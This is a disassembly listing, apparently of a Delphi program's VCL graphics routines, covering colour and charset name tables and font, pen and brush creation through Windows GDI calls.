		dd 6554756Eh, 7478h, 0FFFFFFFFh, 0Ch, 69576C63h, 776F646Eh
		dd 74786554h, 0, 0FFFFFFFFh, 0Dh, 61436C63h, 6F697470h
		dd 7865546Eh, 74h, 0FFFFFFFFh, 0Eh, 63416C63h, 65766974h
		dd 64726F42h, 7265h, 0FFFFFFFFh, 10h, 6E496C63h, 69746361h
		dd 6F426576h, 72656472h, 0, 0FFFFFFFFh,	0Eh, 70416C63h
		dd 726F5770h, 6170536Bh, 6563h,	0FFFFFFFFh, 0Bh, 69486C63h
		dd 696C6867h, 746867h, 0FFFFFFFFh, 0Fh,	69486C63h, 696C6867h
		dd 54746867h, 747865h, 0FFFFFFFFh, 9, 74426C63h, 6361466Eh
		dd 65h,	0FFFFFFFFh, 0Bh, 74426C63h, 6168536Eh, 776F64h
		dd 0FFFFFFFFh, 0Ah, 72476C63h, 65547961h, 7478h, 0FFFFFFFFh
		dd 9, 74426C63h, 7865546Eh, 74h, 0FFFFFFFFh, 15h, 6E496C63h
		dd 69746361h, 61436576h, 6F697470h, 7865546Eh, 74h, 0FFFFFFFFh
		dd 0Eh,	74426C63h, 6769486Eh, 67696C68h, 7468h,	0FFFFFFFFh
		dd 0Ch,	44336C63h, 68536B44h, 776F6461h, 0, 0FFFFFFFFh
		dd 9, 44336C63h, 6867694Ch, 74h, 0FFFFFFFFh, 0Ah, 6E496C63h
		dd 65546F66h, 7478h, 0FFFFFFFFh, 8, 6E496C63h, 6B426F66h
		dd 0, 0FFFFFFFFh, 6, 6F4E6C63h,	656Eh

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_413B3C	proc near		; CODE XREF: sub_413EF0+57p
					; sub_413F90+9Ep ...
		test	eax, eax
		jge	short locret_413B4B
		and	eax, 0FFh
		push	eax
		call	j_GetSysColor

locret_413B4B:				; CODE XREF: sub_413B3C+2j
		retn
sub_413B3C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_413B4C:				; DATA XREF: CODE:00415E42o
		push	29h
		mov	ecx, offset unk_41D858
		call	sub_40C06C
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_413B5C:				; DATA XREF: CODE:00415E47o
		push	29h
		mov	ecx, offset unk_41D858
		call	sub_40C02C
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
dword_413B6C	dd 0FFFFFFFFh, 0Ch, 49534E41h, 4148435Fh, 54455352h, 0
					; DATA XREF: DATA:0041D9ACo
		dd 0FFFFFFFFh, 0Fh, 41464544h, 5F544C55h, 52414843h, 544553h
		dd 0FFFFFFFFh, 0Eh, 424D5953h, 435F4C4Fh, 53524148h, 5445h
		dd 0FFFFFFFFh, 0Bh, 5F43414Dh, 52414843h, 544553h, 0FFFFFFFFh
		dd 10h,	46494853h, 53494A54h, 4148435Fh, 54455352h, 0
		dd 0FFFFFFFFh, 0Fh, 474E4148h, 5F4C5545h, 52414843h, 544553h
		dd 0FFFFFFFFh, 0Dh, 41484F4Ah, 48435F42h, 45535241h, 54h
		dd 0FFFFFFFFh, 0Eh, 33324247h, 435F3231h, 53524148h, 5445h
		dd 0FFFFFFFFh, 13h, 4E494843h, 42455345h, 5F354749h, 52414843h
		dd 544553h, 0FFFFFFFFh,	0Dh, 45455247h,	48435F4Bh, 45535241h
		dd 54h,	0FFFFFFFFh, 0Fh, 4B525554h, 5F485349h, 52414843h
		dd 544553h, 0FFFFFFFFh,	0Eh, 52424548h,	435F5745h, 53524148h
		dd 5445h, 0FFFFFFFFh, 0Eh, 42415241h, 435F4349h, 53524148h
		dd 5445h, 0FFFFFFFFh, 0Eh, 544C4142h, 435F4349h, 53524148h
		dd 5445h, 0FFFFFFFFh, 0Fh, 53535552h, 5F4E4149h, 52414843h
		dd 544553h, 0FFFFFFFFh,	0Ch, 49414854h,	4148435Fh, 54455352h
		dd 0, 0FFFFFFFFh, 12h, 54534145h, 4F525545h, 435F4550h
		dd 53524148h, 5445h, 0FFFFFFFFh, 0Bh, 5F4D454Fh, 52414843h
		dd 544553h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_413D20:				; DATA XREF: CODE:00415E56o
		push	11h
		mov	ecx, offset unk_41D9A8
		call	sub_40C06C
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_413D30:				; DATA XREF: CODE:00415E5Bo
		push	11h
		mov	ecx, offset unk_41D9A8
		call	sub_40C02C
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_413D40	proc near		; CODE XREF: sub_4142B8+6p

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= byte ptr -2Ah
var_29		= byte ptr -29h
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= byte ptr -26h
var_25		= byte ptr -25h
var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFB4h
		push	ebx
		xor	edx, edx
		mov	[ebp+var_4C], edx
		mov	[ebp+var_48], edx
		mov	[ebp+var_44], edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_413EC9
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebx+10h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+8], 0
		jnz	loc_413EA8
		mov	eax, ds:dword_41E6C0
		call	sub_4137CC
		xor	eax, eax
		push	ebp
		push	offset loc_413EA1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+8], 0
		jnz	loc_413E89
		mov	eax, [ebp+var_4]
		mov	eax, [eax+14h]
		mov	[ebp+var_40], eax
		xor	eax, eax
		mov	[ebp+var_3C], eax
		xor	eax, eax
		mov	[ebp+var_38], eax
		xor	eax, eax
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_4]
		test	byte ptr [eax+19h], 1
		jz	short loc_413DC4
		mov	[ebp+var_30], 2BCh
		jmp	short loc_413DCB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_413DC4:				; CODE XREF: sub_413D40+79j
		mov	[ebp+var_30], 190h

loc_413DCB:				; CODE XREF: sub_413D40+82j
		mov	eax, [ebp+var_4]
		test	byte ptr [eax+19h], 2
		setnz	al
		mov	[ebp+var_2C], al
		mov	eax, [ebp+var_4]
		test	byte ptr [eax+19h], 4
		setnz	al
		mov	[ebp+var_2B], al
		mov	eax, [ebp+var_4]
		test	byte ptr [eax+19h], 8
		setnz	al
		mov	[ebp+var_2A], al
		mov	eax, [ebp+var_4]
		mov	al, [eax+1Ah]
		mov	[ebp+var_29], al
		lea	eax, [ebp+var_44]
		mov	edx, [ebp+var_4]
		add	edx, 1Bh
		call	sub_4036EC
		mov	eax, [ebp+var_44]
		mov	edx, offset aDefault ; "Default"
		call	sub_406E64
		test	eax, eax
		jnz	short loc_413E34
		lea	eax, [ebp+var_48]
		mov	edx, offset aMsSansSerif ; "\rMS Sans Serif"
		call	sub_4036EC
		mov	edx, [ebp+var_48]
		lea	eax, [ebp+var_24]
		call	sub_4075BC
		jmp	short loc_413E4D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_413E34:				; CODE XREF: sub_413D40+D8j
		lea	eax, [ebp+var_4C]
		mov	edx, [ebp+var_4]
		add	edx, 1Bh
		call	sub_4036EC
		mov	edx, [ebp+var_4C]
		lea	eax, [ebp+var_24]
		call	sub_4075BC

loc_413E4D:				; CODE XREF: sub_413D40+F2j
		mov	[ebp+var_26], 0
		mov	[ebp+var_28], 0
		mov	[ebp+var_27], 0
		mov	eax, ebx
		call	sub_413EE8
		dec	al
		jz	short loc_413E6A
		dec	al
		jz	short loc_413E70
		jmp	short loc_413E76
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_413E6A:				; CODE XREF: sub_413D40+122j
		mov	[ebp+var_25], 2
		jmp	short loc_413E7A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_413E70:				; CODE XREF: sub_413D40+126j
		mov	[ebp+var_25], 1
		jmp	short loc_413E7A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_413E76:				; CODE XREF: sub_413D40+128j
		mov	[ebp+var_25], 0

loc_413E7A:				; CODE XREF: sub_413D40+12Ej
					; sub_413D40+134j
		lea	eax, [ebp+var_40]
		push	eax
		call	j_CreateFontIndirectA
		mov	edx, [ebp+var_4]
		mov	[edx+8], eax

loc_413E89:				; CODE XREF: sub_413D40+54j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_413EA8

loc_413E96:				; CODE XREF: sub_413D40+166j
		mov	eax, ds:dword_41E6C0
		call	sub_4137D8
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_413EA1:				; DATA XREF: sub_413D40+42o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_413E96
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_413EA8:				; CODE XREF: sub_413D40+2Fj
					; DATA XREF: sub_413D40+151o
		mov	eax, [ebp+var_4]
		mov	ebx, [eax+8]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_413ED0

loc_413EBB:				; CODE XREF: CODE:00413ECEj
		lea	eax, [ebp+var_4C]
		mov	edx, 3
		call	sub_4034EC
		retn
sub_413D40	endp ; sp = -58h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_413EC9:				; DATA XREF: sub_413D40+17o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_413EBB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_413ED0:				; DATA XREF: sub_413D40+176o
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 7
aDefault	db 'Default',0          ; DATA XREF: sub_413D40+CCo

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_413EE8	proc near		; CODE XREF: sub_413D40+11Bp
		mov	eax, [eax+10h]
		mov	al, [eax+18h]
		retn
sub_413EE8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_413EF0	proc near		; CODE XREF: sub_4142E4+6p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		mov	eax, [eax+10h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_413F7D
		mov	eax, ds:dword_41E6C4
		call	sub_4137CC
		xor	eax, eax
		push	ebp
		push	offset loc_413F76
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_413F5E
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax+1Ch]
		movzx	eax, ds:word_41DA38[eax*2]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax+18h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax+14h]
		call	sub_413B3C
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_14]
		push	eax
		call	j_CreatePenIndirect
		mov	edx, [ebp+var_4]
		mov	[edx+8], eax

loc_413F5E:				; CODE XREF: sub_413EF0+34j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_413F7D

loc_413F6B:				; CODE XREF: sub_413EF0+8Bj
		mov	eax, ds:dword_41E6C4
		call	sub_4137D8
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_413F76:				; DATA XREF: sub_413EF0+22o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_413F6B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_413F7D:				; CODE XREF: sub_413EF0+13j
					; DATA XREF: sub_413EF0+76o
		mov	eax, [ebp+var_4]
		mov	eax, [eax+8]
		mov	esp, ebp
		pop	ebp
		retn
sub_413EF0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_413F88	proc near		; CODE XREF: sub_414314+32p
					; sub_414314+56p
		mov	eax, [eax+10h]
		mov	eax, [eax+14h]
		retn
sub_413F88	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_413F90	proc near		; CODE XREF: sub_414314+6p
					; sub_414314+14p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	eax, [eax+10h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+8], 0
		jnz	loc_414064
		mov	eax, ds:dword_41E6C8
		call	sub_4137CC
		xor	edx, edx
		push	ebp
		push	offset loc_41405D
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_414045
		mov	eax, [ebp+var_4]
		mov	eax, [eax+18h]
		test	eax, eax
		jz	short loc_413FF2
		mov	[ebp+var_10], 3
		mov	dl, 1
		mov	ecx, [eax]
		call	dword ptr [ecx+68h]
		mov	eax, [ebp+var_4]
		mov	eax, [eax+18h]
		mov	edx, [eax]
		call	dword ptr [edx+60h]
		mov	[ebp+var_8], eax
		jmp	short loc_414028
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_413FF2:				; CODE XREF: sub_413F90+42j
		xor	eax, eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_4]
		mov	al, [eax+1Ch]
		mov	edx, eax
		sub	dl, 1
		jb	short loc_414008
		jz	short loc_41400F
		jmp	short loc_414018
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414008:				; CODE XREF: sub_413F90+72j
		xor	eax, eax
		mov	[ebp+var_10], eax
		jmp	short loc_414028
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41400F:				; CODE XREF: sub_413F90+74j
		mov	[ebp+var_10], 1
		jmp	short loc_414028
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414018:				; CODE XREF: sub_413F90+76j
		mov	[ebp+var_10], 2
		and	eax, 7Fh
		sub	eax, 2
		mov	[ebp+var_8], eax

loc_414028:				; CODE XREF: sub_413F90+60j
					; sub_413F90+7Dj ...
		mov	eax, [ebp+var_4]
		mov	eax, [eax+14h]
		call	sub_413B3C
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	j_CreateBrushIndirect
		mov	edx, [ebp+var_4]
		mov	[edx+8], eax

loc_414045:				; CODE XREF: sub_413F90+38j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_414064

loc_414052:				; CODE XREF: sub_413F90+D2j
		mov	eax, ds:dword_41E6C8
		call	sub_4137D8
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41405D:				; DATA XREF: sub_413F90+26o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_414052
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414064:				; CODE XREF: sub_413F90+13j
					; DATA XREF: sub_413F90+BDo
		mov	eax, [ebp+var_4]
		mov	eax, [eax+8]
		mov	esp, ebp
		pop	ebp
		retn
sub_413F90	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_414070	proc near		; CODE XREF: sub_414314+26p
		mov	eax, [eax+10h]
		mov	al, [eax+1Ch]
		retn
sub_414070	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_414078	proc near		; CODE XREF: sub_4140CC+2Fp
					; sub_4154E0+18p
		push	ebx
		mov	ebx, eax
		push	offset unk_41E6A8
		call	j_EnterCriticalSection_0
		inc	dword ptr [ebx+50h]
		push	offset unk_41E6A8
		call	j_LeaveCriticalSection_0
		lea	eax, [ebx+38h]
		push	eax
		call	j_EnterCriticalSection_0
		pop	ebx
		retn
sub_414078	endp ; sp = -0Ch

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4140A0	proc near		; CODE XREF: sub_414174+13p
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		mov	dl, ds:byte_4140C8
		mov	eax, ebx
		call	sub_414244
		push	0
		push	edi
		push	esi
		mov	eax, [ebx+4]
		push	eax
		call	j_MoveToEx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4140A0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
byte_4140C8	db 1			; DATA XREF: sub_4140A0+9r
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4140CC	proc near		; CODE XREF: sub_415434+41p

var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, eax
		push	offset unk_41E6A8
		call	j_EnterCriticalSection_0
		xor	eax, eax
		push	ebp
		push	offset loc_414118
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	dword ptr [ebx+50h], 0
		setz	[ebp+var_1]
		cmp	[ebp+var_1], 0
		jz	short loc_414100
		mov	eax, ebx
		call	sub_414078

loc_414100:				; CODE XREF: sub_4140CC+2Bj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_41411F

loc_41410D:				; CODE XREF: CODE:0041411Dj
		push	offset unk_41E6A8
		call	j_LeaveCriticalSection_0
		retn
sub_4140CC	endp ; sp = -18h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414118:				; DATA XREF: sub_4140CC+14o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_41410D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41411F:				; DATA XREF: sub_4140CC+3Co
		mov	al, [ebp-1]
		pop	ebx
		pop	ecx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_414128	proc near		; CODE XREF: sub_415434+70p
					; sub_4154E0+8Ep
		push	ebx
		mov	ebx, eax
		lea	eax, [ebx+38h]
		push	eax
		call	j_LeaveCriticalSection_0
		push	offset unk_41E6A8
		call	j_EnterCriticalSection_0
		dec	dword ptr [ebx+50h]

loc_414141:				; DATA XREF: CODE:00408C14o
		push	offset unk_41E6A8
		call	j_LeaveCriticalSection_0
		pop	ebx
		retn
sub_414128	endp ; sp = -0Ch

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_414150	proc near		; CODE XREF: sub_4141F0+1Fp
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	dl, ds:byte_414170
		mov	eax, ebx
		call	sub_414244
		push	esi
		mov	eax, [ebx+4]
		push	eax
		call	j_GetCurrentPositionEx
		pop	esi
		pop	ebx
		retn
sub_414150	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
byte_414170	db 1			; DATA XREF: sub_414150+6r
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_414174	proc near		; CODE XREF: sub_4141F0+4Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	esi
		push	edi
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		lea	edi, [esp+8+var_8]
		movsd
		movsd
		mov	ecx, [esp+8+var_4]
		mov	edx, [esp+8+var_8]
		call	sub_4140A0
		pop	ecx
		pop	edx
		pop	edi
		pop	esi
		retn
sub_414174	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_414194	proc near		; CODE XREF: sub_4141F0+16p
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, [ebx+4]
		test	esi, esi
		jz	short loc_4141E7
		mov	al, ds:byte_4141EC
		not	eax
		and	al, [ebx+8]
		mov	dl, [ebx+8]
		cmp	dl, al
		jz	short loc_4141E7
		mov	eax, ds:dword_41E680
		push	eax
		push	esi
		call	j_SelectObject
		mov	eax, ds:dword_41E684
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	j_SelectObject
		mov	eax, ds:dword_41E688
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	j_SelectObject
		mov	al, ds:byte_4141EC
		not	eax
		and	al, [ebx+8]
		mov	[ebx+8], al

loc_4141E7:				; CODE XREF: sub_414194+9j
					; sub_414194+1Aj
		pop	esi
		pop	ebx
		retn
sub_414194	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
byte_4141EC	db 0Eh			; DATA XREF: sub_414194+Br
					; sub_414194+46r
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4141F0	proc near		; CODE XREF: sub_4154E0+66p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	ebx, eax
		mov	eax, [ebx+4]
		cmp	esi, eax
		jz	short loc_41423F
		test	eax, eax
		jz	short loc_41422A
		mov	eax, ebx
		call	sub_414194
		mov	edx, esp
		mov	eax, ebx
		call	sub_414150
		mov	eax, [esp+8+var_8]
		mov	[ebx+18h], eax
		mov	eax, [esp+8+var_4]
		mov	[ebx+1Ch], eax
		xor	eax, eax
		mov	[ebx+4], eax
		and	byte ptr [ebx+8], 0FEh

loc_41422A:				; CODE XREF: sub_4141F0+12j
		test	esi, esi
		jz	short loc_41423F
		or	byte ptr [ebx+8], 1
		mov	[ebx+4], esi
		lea	edx, [ebx+18h]
		mov	eax, ebx
		call	sub_414174

loc_41423F:				; CODE XREF: sub_4141F0+Ej
					; sub_4141F0+3Cj
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_4141F0	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_414244	proc near		; CODE XREF: sub_4140A0+11p
					; sub_414150+Ep ...
		push	ebx
		push	esi
		push	ecx
		mov	[esp+0], dl
		mov	esi, eax
		mov	bl, [esi+8]
		not	ebx
		and	bl, [esp]
		mov	al, ds:byte_4142B4
		cmp	al, bl
		jz	short loc_4142B0
		test	bl, 1
		jz	short loc_414286
		mov	eax, esi
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		cmp	dword ptr [esi+4], 0
		jnz	short loc_414286
		mov	ecx, ds:off_41DB60
		mov	dl, 1
		mov	eax, ds:off_40B85C
		call	sub_40950C
		call	sub_402F98

loc_414286:				; CODE XREF: sub_414244+1Cj
					; sub_414244+29j
		test	bl, 2
		jz	short loc_414292
		mov	eax, esi
		call	sub_4142B8

loc_414292:				; CODE XREF: sub_414244+45j
		test	bl, 4
		jz	short loc_41429E
		mov	eax, esi
		call	sub_4142E4

loc_41429E:				; CODE XREF: sub_414244+51j
		test	bl, 8
		jz	short loc_4142AA
		mov	eax, esi
		call	sub_414314

loc_4142AA:				; CODE XREF: sub_414244+5Dj
		or	bl, [esi+8]
		mov	[esi+8], bl

loc_4142B0:				; CODE XREF: sub_414244+17j
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_414244	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
byte_4142B4	db 0			; DATA XREF: sub_414244+10r
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4142B8	proc near		; CODE XREF: sub_414244+49p
		push	ebx
		mov	ebx, eax
		mov	eax, [ebx+0Ch]
		call	sub_413D40
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	j_SelectObject
		mov	eax, [ebx+0Ch]
		mov	eax, [eax+18h]
		call	sub_413B3C
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	j_SetTextColor
		pop	ebx
		retn
sub_4142B8	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4142E4	proc near		; CODE XREF: sub_414244+55p
		push	ebx
		mov	ebx, eax
		mov	eax, [ebx+10h]
		call	sub_413EF0
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	j_SelectObject
		mov	eax, [ebx+10h]
		movzx	eax, byte ptr [eax+18h]
		movzx	eax, ds:word_41DA48[eax*2]
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	j_SetROP2
		pop	ebx
		retn
sub_4142E4	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_414314	proc near		; CODE XREF: sub_414244+61p
		push	ebx
		mov	ebx, eax
		mov	eax, [ebx+14h]
		call	sub_413F90
		push	eax
		call	j_UnrealizeObject
		mov	eax, [ebx+14h]
		call	sub_413F90
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	j_SelectObject
		mov	eax, [ebx+14h]
		call	sub_414070
		test	al, al
		jnz	short loc_414367
		mov	eax, [ebx+14h]
		call	sub_413F88
		call	sub_413B3C
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	j_SetBkColor
		push	2
		mov	eax, [ebx+4]
		push	eax
		call	j_SetBkMode
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414367:				; CODE XREF: sub_414314+2Dj
		mov	eax, [ebx+14h]
		call	sub_413F88
		call	sub_413B3C
		not	eax
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	j_SetBkColor
		push	1
		mov	eax, [ebx+4]
		push	eax
		call	j_SetBkMode
		pop	ebx
		retn
sub_414314	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_414390	proc near		; CODE XREF: CODE:004159E6p
					; CODE:00415A02p ...
		push	ebx
		mov	ebx, eax
		mov	ecx, ebx
		mov	dl, 1
		mov	eax, ds:off_413414
		call	sub_40950C
		call	sub_402F98
		pop	ebx
		retn
sub_414390	endp


